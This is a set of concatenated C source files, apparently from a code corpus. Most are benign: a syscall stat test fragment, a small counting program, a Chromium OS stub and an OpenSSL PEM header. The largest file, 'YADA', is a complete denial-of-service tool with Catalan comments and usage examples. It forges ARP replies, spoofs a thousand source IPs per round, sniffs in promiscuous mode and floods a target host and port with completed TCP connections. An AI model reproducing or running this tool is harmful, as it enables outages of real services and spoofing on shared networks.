sizeof(st[0].st_dev));
fprintf(stderr, "offsetof(%s, st_ino) = %zu"
", sizeof(st_ino) = %zu\n",
STRUCT_STAT_STR, offsetof(STRUCT_STAT, st_ino),
sizeof(st[0].st_ino));
fprintf(stderr, "offsetof(%s, st_mode) = %zu"
", sizeof(st_mode) = %zu\n",
STRUCT_STAT_STR, offsetof(STRUCT_STAT, st_mode),
sizeof(st[0].st_mode));
fprintf(stderr, "offsetof(%s, st_nlink) = %zu"
", sizeof(st_nlink) = %zu\n",
STRUCT_STAT_STR, offsetof(STRUCT_STAT, st_nlink),
sizeof(st[0].st_nlink));
fprintf(stderr, "offsetof(%s, st_uid) = %zu"
", sizeof(st_uid) = %zu\n",
STRUCT_STAT_STR, offsetof(STRUCT_STAT, st_uid),
sizeof(st[0].st_uid));
fprintf(stderr, "offsetof(%s, st_gid) = %zu"
", sizeof(st_gid) = %zu\n",
STRUCT_STAT_STR, offsetof(STRUCT_STAT, st_gid),
sizeof(st[0].st_gid));
fprintf(stderr, "offsetof(%s, st_rdev) = %zu"
", sizeof(st_rdev) = %zu\n",
STRUCT_STAT_STR, offsetof(STRUCT_STAT, st_rdev),
sizeof(st[0].st_rdev));
fprintf(stderr, "offsetof(%s, st_size) = %zu"
", sizeof(st_size) = %zu\n",
STRUCT_STAT_STR, offsetof(STRUCT_STAT, st_size),
sizeof(st[0].st_size));
fprintf(stderr, "offsetof(%s, st_blksize) = %zu"
", sizeof(st_blksize) = %zu\n",
STRUCT_STAT_STR, offsetof(STRUCT_STAT, st_blksize),
sizeof(st[0].st_blksize));
fprintf(stderr, "offsetof(%s, st_blocks) = %zu"
", sizeof(st_blocks) = %zu\n",
STRUCT_STAT_STR, offsetof(STRUCT_STAT, st_blocks),
sizeof(st[0].st_blocks));
return 77;
}
PRINT_SYSCALL_HEADER(sample);
print_stat(st);
PRINT_SYSCALL_FOOTER;
puts("+++ exited with 0 +++");
return 0;
}
#else
int
main(void)
{
return 77;
}
#endif
|
the_stack_data/8112.c | /*
YADA (Yet Another DoS Attack)
[ Ver. 10/02/2005 ]
YADA és un atac de denegació de servei (DoS). Consisteix en saturar un host
servidor efectuan conexions TCP massives amb aquest a trabés d'un port. Usa
adreces IP falses amb les quals du a terme les conexions. L'autenticitat de les
IPs es fa possible resolent les peticions ARP amb respostes Reply ARP falses.
Ús << ./yada ip_local màscara host_servidor port >>
Exemple: ./yada 172.16.0.3 255.255.0.0 web.xarxa.es 80
Albert Nadal G.'05
[email protected]
*/
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <arpa/inet.h>
#include <linux/if.h>
#include <linux/tcp.h>
#include <linux/ip.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/if_ether.h>
#include <netinet/in.h>
#include <time.h>
#include <signal.h>
#define NUM_IP_FALSES 1000
#define NUM_TANDES 10 //quantes més millor
#define TEMPS_ESPERA 10 //milisegons d'espera 1000 -> 1 Segon
#define INTERFICIE "eth0"
#define TIPUS_IP 0x0800
#define TIPUS_ARP 0x0806
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ETHER_HW_TYPE 1
#define OP_ARP_REPLY 2
#define OP_ARP_REQUEST 1
#define LONG_BARRA 45
struct pseudoHeader
{
unsigned long saddr, daddr;
char mbz;
char ptcl;
unsigned short tcpl;
};
struct paquet_ethernet_tcp
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char dades[65500];
} __attribute__((packed));
struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
struct paquet_ethernet_arp
{
struct arp_packet arp;
} __attribute__((packed));
struct paquet_tcp
{
struct iphdr ip;
struct tcphdr tcp;
};
int tanda, con=0;
void enviar_resposta_arp(char *ip_origen, char *mac_origen, char *ip_desti, char *mac_desti);
void die(char* str);
void get_ip_addr(struct in_addr* in_addr,char* str);
void get_hw_addr(char* buf,char* str);
int crear_socket();
int crear_socket_promiscu(char *d, int protocol);
unsigned long obtenir_IP(char *adr);
long mac_addr_sys ( u_char *addr);
void obtenir_mac(char mac[]);
void enviar_paquet(int sock, struct paquet_tcp *paquet);
void calcular_header_checksums(struct paquet_tcp *paquet);
int num_aleatori(int min, int max);
void obtenir_bytes(int bytes[], char ip[]);
unsigned long generar_ip_aleatoria(char ip_xarxa[], char mascara[]);
void omplir_camps_ip(struct paquet_tcp *paquet, unsigned long ip_origen, unsigned long ip_desti);
void omplir_camps_tcp(struct paquet_tcp *paquet,int port_desti, char syn, char ack, unsigned long seq, unsigned long ack_seq);
void generar_llavor_aleatoritzacio();
char existeix_ip(unsigned long llistat[], unsigned long ip);
void enviar_solicitut_conexio_tcp(int sock, unsigned long ip_origen, unsigned long ip_desti, int port_desti);
void IP_to_ascii(unsigned long n, char adr[]);
void enviar_confirmacio_conexio_tcp(int sock, struct paquet_ethernet_tcp *paquet_eth, unsigned long llistat[]);
char paquet_es_una_acceptacio_conexio_tcp(struct paquet_ethernet_tcp *paquet);
char paquet_es_una_request_arp_valida(struct arp_packet *paquet, unsigned long llistat[]);
void enviar_reply_arp(struct arp_packet *p, char mac[]);
int esnifar_paquets_arp(unsigned long llistat[], char mac[]);
int esnifar_paquets_ip(unsigned long llistat[]);
void generar_ip_falses(unsigned long llistat[], char ip_xarxa[], char mascara[]);
void ordenar_ip_falses(unsigned long llistat[]);
void esperar(int seg);
void processar_parametres_execucio(int argc, char* argv[], char ip_local[], char mask[], unsigned long *ip_desti, int *port_desti);
void tancar_aplicacio(int sock, char host[]);
void aturar_snifers(int pid1, int pid2);
void obtenir_ip_xarxa(char ip_xarxa[], char mask[], char ip_local[]);
void enviar_resposta_arp(char *ip_origen, char *mac_origen, char *ip_desti, char *mac_desti)
{
struct in_addr src_in_addr,targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0)
{
perror("socket");
exit(1);
}
pkt.frame_type = htons(TIPUS_ARP);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(TIPUS_IP);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op=htons(OP_ARP_REPLY);
get_hw_addr(pkt.targ_hw_addr,mac_desti);
get_hw_addr(pkt.rcpt_hw_addr,mac_desti);
get_hw_addr(pkt.src_hw_addr,mac_origen);
get_hw_addr(pkt.sndr_hw_addr,mac_origen);
get_ip_addr(&src_in_addr,ip_origen);
get_ip_addr(&targ_in_addr,ip_desti);
memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,INTERFICIE);
if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
void die(char* str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}
void get_ip_addr(struct in_addr* in_addr,char* str)
{
struct hostent *hostp;
in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1)
{
if( (hostp = gethostbyname(str)))
bcopy(hostp->h_addr,in_addr,hostp->h_length);
else
{
fprintf(stderr,"send_arp: host desconegut %s\n",str);
exit(1);
}
}
}
void get_hw_addr(char* buf,char* str)
{
int i;
char c,val;
for(i=0;i<ETH_HW_ADDR_LEN;i++)
{
if( !(c = tolower(*str++))) die("Adreca invàlida");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Adreca invàlida");
*buf = val << 4;
if( !(c = tolower(*str++))) die("Adreca invàlida");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Adreca invàlida");
*buf++ |= val;
if(*str == ':')str++;
}
}
int crear_socket()
{
int sock;
if((sock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0)
{
perror("No s'ha pogut crear el socket RAW");
exit(1);
}
return sock;
}
int crear_socket_promiscu(char *d, int protocol)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(protocol));
if(fd < 0)
{ perror("No es pot obenir el socket SOCK_PACKET");
exit(0);
}
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{ close(fd);
perror("No es poden obtenir els flags");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror("No es pot activar el mode promiscu");
return fd;
}
unsigned long obtenir_IP(char *adr)
{
struct hostent *host;
host=gethostbyname(adr);
if(!host)
{
fprintf(stderr, "Error: Host %s desconegut\n", adr);
exit(1);
}
return *(unsigned long *)host->h_addr;
}
unsigned short ip_sum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}
long mac_addr_sys ( u_char *addr)
{
struct ifreq ifr;
struct ifreq *IFR;
struct ifconf ifc;
char buf[1024];
int s, i, ok = 0;
s = socket(AF_INET, SOCK_DGRAM, 0);
if (s==-1) return -1;
ifc.ifc_len = sizeof(buf);
ifc.ifc_buf = buf;
ioctl(s, SIOCGIFCONF, &ifc);
IFR = ifc.ifc_req;
for (i = ifc.ifc_len / sizeof(struct ifreq); --i >= 0; IFR++)
{
strcpy(ifr.ifr_name, IFR->ifr_name);
if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0)
{
if (! (ifr.ifr_flags & IFF_LOOPBACK))
{
if (ioctl(s, SIOCGIFHWADDR, &ifr) == 0)
{
ok = 1;
break;
}
}
}
}
close(s);
if(ok) bcopy( ifr.ifr_hwaddr.sa_data, addr, 6);
else return -1;
return 0;
}
void obtenir_mac(char mac[])
{
u_char addr[6];
if (!mac_addr_sys( addr)) sprintf(mac, "%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x", addr[0],addr[1],addr[2],addr[3],addr[4],addr[5]);
else
{
printf("Error: No s'ha pogut obtenir l'adreça MAC de l'equip.\n");
exit(1);
}
}
void enviar_paquet(int sock, struct paquet_tcp *paquet)
{
char buf[65536];
struct sockaddr_in sin;
memcpy(buf, &(paquet->ip), 4*(paquet->ip.ihl));
memcpy(buf+4*(paquet->ip.ihl), &(paquet->tcp), sizeof(struct tcphdr));
memset(buf+4*(paquet->ip.ihl)+sizeof(struct tcphdr), 0, 4);
sin.sin_family=AF_INET;
sin.sin_port=paquet->tcp.dest;
sin.sin_addr.s_addr=paquet->ip.daddr;
if(sendto(sock, buf, 4*(paquet->ip.ihl) + sizeof(struct tcphdr), 0, &sin, sizeof(sin))<0)
{
printf("Error: No es poden enviar els paquets.\n");
exit(1);
}
}
void calcular_header_checksums(struct paquet_tcp *paquet)
{
char buf[65536];
struct pseudoHeader ph;
ph.saddr=paquet->ip.saddr;
ph.daddr=paquet->ip.daddr;
ph.mbz=0;
ph.ptcl=6; //TCP -> 6;
ph.tcpl=htons(sizeof(paquet->tcp));
memcpy(buf, &ph, sizeof(ph));
memcpy(buf+sizeof(ph), &(paquet->tcp), sizeof(paquet->tcp));
memset(buf+sizeof(ph)+sizeof(paquet->tcp), 0, 4);
paquet->tcp.check=ip_sum(&buf, (sizeof(ph)+sizeof(paquet->tcp)+ 1)& ~1);
memcpy(buf, &(paquet->ip), 4*(paquet->ip.ihl));
memcpy(buf+4*(paquet->ip.ihl), &(paquet->tcp), sizeof(struct tcphdr));
memset(buf+4*(paquet->ip.ihl)+sizeof(struct tcphdr), 0, 4);
paquet->ip.check=ip_sum(&buf, (4*(paquet->ip.ihl)+sizeof(struct tcphdr)+ 1) & ~1);
}
int num_aleatori(int min, int max)
{
int dif=max-min;
return (rand() % dif) + min;
}
void obtenir_bytes(int bytes[], char ip[])
{
int e, d, i, l;
char num[4];
d=i=0;
l=strlen(ip);
while(i<l)
{
for(e=0; e<3; e++) num[e]=0;
e=0;
while((ip[i]!='.')&&(ip[i]!='\0'))
{
num[e]=ip[i];
i++;
e++;
}
num[e]='\0';
bytes[d]=atoi(num);
d++;
i++;
}
}
unsigned long generar_ip_aleatoria(char ip_xarxa[], char mascara[])
{
char ip[16];
int i, bytes_mascara[4], bytes_ip_xarxa[4], bytes_ip[4];
obtenir_bytes(bytes_mascara, mascara);
obtenir_bytes(bytes_ip_xarxa, ip_xarxa);
for(i=0; i<4; i++)
{
if(bytes_mascara[i]==0) bytes_ip[i]=num_aleatori(0,255);
else bytes_ip[i]=bytes_ip_xarxa[i];
}
sprintf(ip,"%d.%d.%d.%d",bytes_ip[0],bytes_ip[1],bytes_ip[2],bytes_ip[3]);
return obtenir_IP(ip);
}
void omplir_camps_ip(struct paquet_tcp *paquet, unsigned long ip_origen, unsigned long ip_desti)
{
paquet->ip.version=4;
paquet->ip.ihl=5;
paquet->ip.tos=0;
paquet->ip.tot_len=sizeof(struct iphdr)+sizeof(struct tcphdr);
paquet->ip.id=htons(num_aleatori(10000,11000));
paquet->ip.frag_off=64;
paquet->ip.ttl=64;
paquet->ip.protocol=6; //TCP -> 6
paquet->ip.check=0;
paquet->ip.saddr=ip_origen;
paquet->ip.daddr=ip_desti;
}
void omplir_camps_tcp(struct paquet_tcp *paquet,int port_desti, char syn, char ack, unsigned long seq, unsigned long ack_seq)
{
paquet->tcp.source=htons(num_aleatori(1100, 10000));
paquet->tcp.dest=htons(port_desti); // Port destí a atacar
paquet->tcp.seq=htonl(seq);
paquet->tcp.doff=sizeof(struct tcphdr)/4;
paquet->tcp.ack_seq=htonl(ack_seq);
paquet->tcp.res1=0;
paquet->tcp.fin=0;
paquet->tcp.syn=syn;
paquet->tcp.rst=0;
paquet->tcp.psh=0;
paquet->tcp.ack=ack;
paquet->tcp.urg=0;
paquet->tcp.ece=0;
paquet->tcp.cwr=0;
paquet->tcp.window=htons(128);
paquet->tcp.check=0;
paquet->tcp.urg_ptr=0;
}
void generar_llavor_aleatoritzacio() { srandom(time(0)); }
char existeix_ip(unsigned long llistat[], unsigned long ip)
{
int it_min, it_max, it;
it_min=0;
it_max=NUM_IP_FALSES;
/* A continuació es fa una cerca dicotòmica amb cost O(n*log(n)) */
while(it_min<it_max)
{
it=(it_min+it_max)/2;
if(llistat[it]<ip) it_min=it+1;
else if(llistat[it]>ip) it_max=it-1;
else it_min=it_max=it;
}
if(llistat[it_min]==ip) return 1;
else return 0;
}
void enviar_solicitut_conexio_tcp(int sock, unsigned long ip_origen, unsigned long ip_desti, int port_desti)
{
struct paquet_tcp paquet;
omplir_camps_tcp(&paquet, port_desti,1,0,0,0);
omplir_camps_ip(&paquet, ip_origen, ip_desti);
calcular_header_checksums(&paquet);
enviar_paquet(sock, &paquet);
}
void IP_to_ascii(unsigned long n, char adr[])
{
struct in_addr ip;
ip.s_addr = n;
strcpy(adr, inet_ntoa(ip));
}
void pintar_barra()
{
int i, e;
for(i=0;i<LONG_BARRA+25;i++) printf("\b");
printf("[ "); fflush(stdout);
con++;
e=(con*LONG_BARRA)/(NUM_IP_FALSES);
if(con==NUM_IP_FALSES) con=0;
for(i=0;i<e;i++) printf("#");
for(i=0;i<LONG_BARRA-e;i++) printf("-");
printf(" ] tanda %d de %d", tanda+1, NUM_TANDES);
fflush(stdout);
}
void enviar_confirmacio_conexio_tcp(int sock, struct paquet_ethernet_tcp *paquet_eth, unsigned long llistat[])
{
struct paquet_tcp paquet;
char ip_falsa[20];
char ip_servidor[20];
if(existeix_ip(llistat, paquet_eth->ip.daddr))
{
omplir_camps_tcp(&paquet, ntohs(paquet_eth->tcp.source),0,1,htonl(paquet_eth->tcp.ack_seq),htonl(paquet_eth->tcp.seq)+1);
omplir_camps_ip(&paquet, paquet_eth->ip.daddr, paquet_eth->ip.saddr);
calcular_header_checksums(&paquet);
enviar_paquet(sock, &paquet);
IP_to_ascii(paquet_eth->ip.daddr, ip_falsa);
IP_to_ascii(paquet_eth->ip.saddr, ip_servidor);
pintar_barra();
//printf("[ TCP: IP falsa %s conectada a %s:%d ]\n", ip_falsa, ip_servidor, ntohs(paquet_eth->tcp.source));
}
}
char paquet_es_una_acceptacio_conexio_tcp(struct paquet_ethernet_tcp *paquet)
{
if((paquet->ip.version==4)&&(paquet->ip.protocol==6)&&(paquet->tcp.syn)&&(paquet->tcp.ack)) return 1;
else return 0;
}
char paquet_es_una_request_arp_valida(struct arp_packet *paquet, unsigned long llistat[])
{
char ip[20];
if(ntohs(paquet->op)==OP_ARP_REQUEST)
{
sprintf(ip,"%d.%d.%d.%d", paquet->rcpt_ip_addr[0],paquet->rcpt_ip_addr[1],paquet->rcpt_ip_addr[2],paquet->rcpt_ip_addr[3]);
if(existeix_ip(llistat, obtenir_IP(ip))) return 1;
}
return 0;
}
void enviar_reply_arp(struct arp_packet *p, char mac[])
{
char mac_desti[20];
char ip_desti[20];
char ip_origen[20];
sprintf(mac_desti, "%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x", (p->sndr_hw_addr[0]), (p->sndr_hw_addr[1]), p->sndr_hw_addr[2], p->sndr_hw_addr[3], p->sndr_hw_addr[4], p->sndr_hw_addr[5]);
sprintf(ip_desti, "%d.%d.%d.%d", p->sndr_ip_addr[0],p->sndr_ip_addr[1],p->sndr_ip_addr[2],p->sndr_ip_addr[3]);
sprintf(ip_origen, "%d.%d.%d.%d", p->rcpt_ip_addr[0],p->rcpt_ip_addr[1],p->rcpt_ip_addr[2],p->rcpt_ip_addr[3]);
//printf("[ REPLY ARP: desde: (%s)(%s) cap a: (%s)(%s) ]\n", ip_origen, mac, ip_desti, mac_desti);
enviar_resposta_arp(ip_origen, mac, ip_desti, mac_desti);
}
int esnifar_paquets_arp(unsigned long llistat[], char mac[])
{
int pid;
if((pid=fork())==0)
{
unsigned long *llistat_ip_falses=llistat;
int sock_promiscu=crear_socket_promiscu(INTERFICIE,TIPUS_ARP);
struct arp_packet paquet_arp;
while(1)
{
recv(sock_promiscu, (struct arp_packet *)&paquet_arp, sizeof(paquet_arp),0);
if(paquet_es_una_request_arp_valida(&paquet_arp, llistat_ip_falses)) enviar_reply_arp(&paquet_arp, mac);
}
}
return pid;
}
int esnifar_paquets_ip(unsigned long llistat[])
{
int pid;
if((pid=fork())==0)
{
unsigned long *llistat_ip_falses=llistat;
int sock_promiscu=crear_socket_promiscu(INTERFICIE,TIPUS_IP);
int sock=crear_socket();
struct paquet_ethernet_tcp paquet_eth;
while(1)
{
recv(sock_promiscu, (struct paquet_ethernet_tcp *)&paquet_eth, sizeof(paquet_eth),0);
if(paquet_es_una_acceptacio_conexio_tcp(&paquet_eth)) enviar_confirmacio_conexio_tcp(sock, &paquet_eth, llistat_ip_falses);
}
}
return pid;
}
void generar_ip_falses(unsigned long llistat[], char ip_xarxa[], char mascara[])
{
int i;
for(i=0; i <NUM_IP_FALSES; i++) llistat[i]=generar_ip_aleatoria(ip_xarxa, mascara);
}
void ordenar_ip_falses(unsigned long llistat[])
{
int it_a, it_b, it_c;
unsigned long min=llistat[0];
/* A continuació es fa una ordenació seqüencial amb cost O(n*n) */
for(it_a=0; it_a<NUM_IP_FALSES; it_a++)
{
min=llistat[it_a];
for(it_b=it_a; it_b<NUM_IP_FALSES; it_b++)
if(llistat[it_b]<=min)
{
min=llistat[it_b];
it_c=it_b;
}
llistat[it_c]=llistat[it_a];
llistat[it_a]=min;
}
}
void esperar(int seg) { usleep(1000*seg); }
void processar_parametres_execucio(int argc, char* argv[], char ip_local[], char mask[], unsigned long *ip_desti, int *port_desti)
{
if((argc==2)&&(strcmp(argv[1],"--ajuda")==0))
{
printf("YADA és un atac de denegació de servei (DoS). Consisteix en saturar un host\n");
printf("servidor efectuan conexions TCP massives amb aquest a trabés d'un port. Crea \n");
printf("adreces IP falses amb les quals du a terme les conexions. L'autenticitat de les\n");
printf("IP's es fa possible resolent les peticions ARP amb respostes Reply ARP falses.\n\nÚs << %s ip_local màscara host_servidor port >>\n\n",argv[0]);
printf("Exemple: %s 172.16.0.3 255.255.0.0 web.xarxa.es 80\n\n",argv[0]);
printf("Obtenir IP local i màscara de la interfície ""%s"": Ús << %s --info >>\n\n",INTERFICIE,argv[0]);
exit(0);
}
if((argc==2)&&(strcmp(argv[1],"--info")==0))
{
system("/sbin/ifconfig");
exit(0);
}
else if((argc<=4)||(argc>5))
{
printf("%s: nombre incorrecte d'arguments\nProva << %s --ajuda >>\n\n", argv[0],argv[0]);
exit(0);
}
else
{
printf("Conexions per tanda: %d\n", NUM_IP_FALSES);
printf("Nombre de tandes: %d\n", NUM_TANDES);
printf("Total conexions TCP: %d\n", NUM_IP_FALSES*NUM_TANDES);
printf("Velocitat: %d intents per segon.\n", 1000/TEMPS_ESPERA);
printf("Atacant -> %s:%d\n\n",argv[3],atoi(argv[4]));
strcpy(ip_local, argv[1]);
strcpy(mask, argv[2]);
*ip_desti=obtenir_IP(argv[3]);
*port_desti=atoi(argv[4]);
}
}
void tancar_aplicacio(int sock, char host[])
{
close(sock);
printf("\nL'atac ha finalitzat!\nSi l'atac ha fet efecte, el host %s s'anirà recuperant a partir d'ara.\n", host);
}
void aturar_snifers(int pid1, int pid2)
{
kill(pid1, SIGKILL);
kill(pid2, SIGKILL);
}
void obtenir_ip_xarxa(char ip_xarxa[], char mask[], char ip_local[])
{
int ip1[4], ip2[4];
obtenir_bytes(ip1, mask);
obtenir_bytes(ip2, ip_local);
sprintf(ip_xarxa,"%d.%d.%d.%d",ip1[0]&ip2[0], ip1[1]&ip2[1], ip1[2]&ip2[2], ip1[3]&ip2[3]);
}
int main(int argc, char *argv[])
{
unsigned long ip_desti, llistat_ip_falses[NUM_IP_FALSES];
char mac[20], mascara[20], ip_local[20], ip_xarxa[20];
int n, pid1, pid2, port_desti, sock=crear_socket();
printf("[ YADA (Yet Another DoS Attack) - Ver. 10/02/2005 ]\n");
printf("[ Albert Nadal G.'05 ]\n\n");
processar_parametres_execucio(argc, argv, ip_local, mascara, &ip_desti, &port_desti);
generar_llavor_aleatoritzacio();
obtenir_mac(mac);
obtenir_ip_xarxa(ip_xarxa, mascara, ip_local);
for(tanda=0; tanda<NUM_TANDES; tanda++)
{
generar_ip_falses(llistat_ip_falses, ip_xarxa, mascara);
ordenar_ip_falses(llistat_ip_falses);
pid1=esnifar_paquets_ip(llistat_ip_falses);
pid2=esnifar_paquets_arp(llistat_ip_falses, mac);
for(n=0; n<NUM_IP_FALSES; n++)
{
enviar_solicitut_conexio_tcp(sock, llistat_ip_falses[n], ip_desti, port_desti);
esperar(TEMPS_ESPERA);
}
aturar_snifers(pid1, pid2);
}
tancar_aplicacio(sock, argv[1]);
}
|
the_stack_data/77753.c | #include <stdio.h>
int main()
{
int t, count, i;
long long int n, m;
while (scanf("%d", &t) != EOF)
{
for (i = 1; i <= t; i++)
{
scanf("%lld %lld", &n, &m);
count = 0;
while (m > 0 && n > 0)
{
if (m > n)
{
m = m - n;
count++;
}
else if (m < n)
{
n = n - m;
count++;
}
else
{
count = count + 2;
break;
}
}
printf("%d\n", count);
}
}
return 0;
}
|
the_stack_data/50015.c | /* Copyright 2011 The Chromium OS Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
#include <stdio.h>
__attribute__((visibility("default"))) int subcomponent() {
printf(__FILE__ ": SUBCOMPONENT CALLED\n");
return 0;
}
|
the_stack_data/154826787.c | int test05(void);
int inside01(int p1, int p2);
int a;
int main(void)
{
a = test05();
}
int test05(void)
{
int b1 = 2, b2 = 6;
int ret;
b1 = b1 * 2;
ret = inside01(b1,b2);
return ret;
}
int inside01(int p1, int p2)
{
int p, c = 6;
p = p1 * p2 + c;
return p;
}
|
the_stack_data/167330302.c | /* Copyright (C) 1995-1998 Eric Young ([email protected])
* All rights reserved.
*
* This package is an SSL implementation written
* by Eric Young ([email protected]).
* The implementation was written so as to conform with Netscapes SSL.
*
* This library is free for commercial and non-commercial use as long as
* the following conditions are aheared to. The following conditions
* apply to all code found in this distribution, be it the RC4, RSA,
* lhash, DES, etc., code; not just the SSL code. The SSL documentation
* included with this distribution is covered by the same copyright terms
* except that the holder is Tim Hudson ([email protected]).
*
* Copyright remains Eric Young's, and as such any Copyright notices in
* the code are not to be removed.
* If this package is used in a product, Eric Young should be given attribution
* as the author of the parts of the library used.
* This can be in the form of a textual message at program startup or
* in documentation (online or textual) provided with the package.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* "This product includes cryptographic software written by
* Eric Young ([email protected])"
* The word 'cryptographic' can be left out if the rouines from the library
* being used are not cryptographic related :-).
* 4. If you include any Windows specific code (or a derivative thereof) from
* the apps directory (application code) you must include an acknowledgement:
* "This product includes software written by Tim Hudson ([email protected])"
*
* THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* The licence and distribution terms for any publically available version or
* derivative of this code cannot be changed. i.e. this code cannot simply be
* copied and put under another distribution licence
* [including the GNU Public Licence.]
*/
/* ====================================================================
* Copyright (c) 1998-2002 The OpenSSL Project. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* 3. All advertising materials mentioning features or use of this
* software must display the following acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit. (http://www.openssl.org/)"
*
* 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to
* endorse or promote products derived from this software without
* prior written permission. For written permission, please contact
* [email protected].
*
* 5. Products derived from this software may not be called "OpenSSL"
* nor may "OpenSSL" appear in their names without prior written
* permission of the OpenSSL Project.
*
* 6. Redistributions of any form whatsoever must retain the following
* acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit (http://www.openssl.org/)"
*
* THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY
* EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR
* ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
* ====================================================================
*
* This product includes cryptographic software written by Eric Young
* ([email protected]). This product includes software written by Tim
* Hudson ([email protected]). */
#include <stdio.h>
#include <openssl/bio.h>
#include <openssl/dh.h>
#include <openssl/dsa.h>
#include <openssl/evp.h>
#include <openssl/pem.h>
/*
* #include <openssl/pkcs7.h>
*/
#include <openssl/rsa.h>
#include <openssl/x509.h>
static RSA *pkey_get_rsa(EVP_PKEY *key, RSA **rsa);
static DSA *pkey_get_dsa(EVP_PKEY *key, DSA **dsa);
static EC_KEY *pkey_get_eckey(EVP_PKEY *key, EC_KEY **eckey);
IMPLEMENT_PEM_rw(X509_REQ, X509_REQ, PEM_STRING_X509_REQ, X509_REQ)
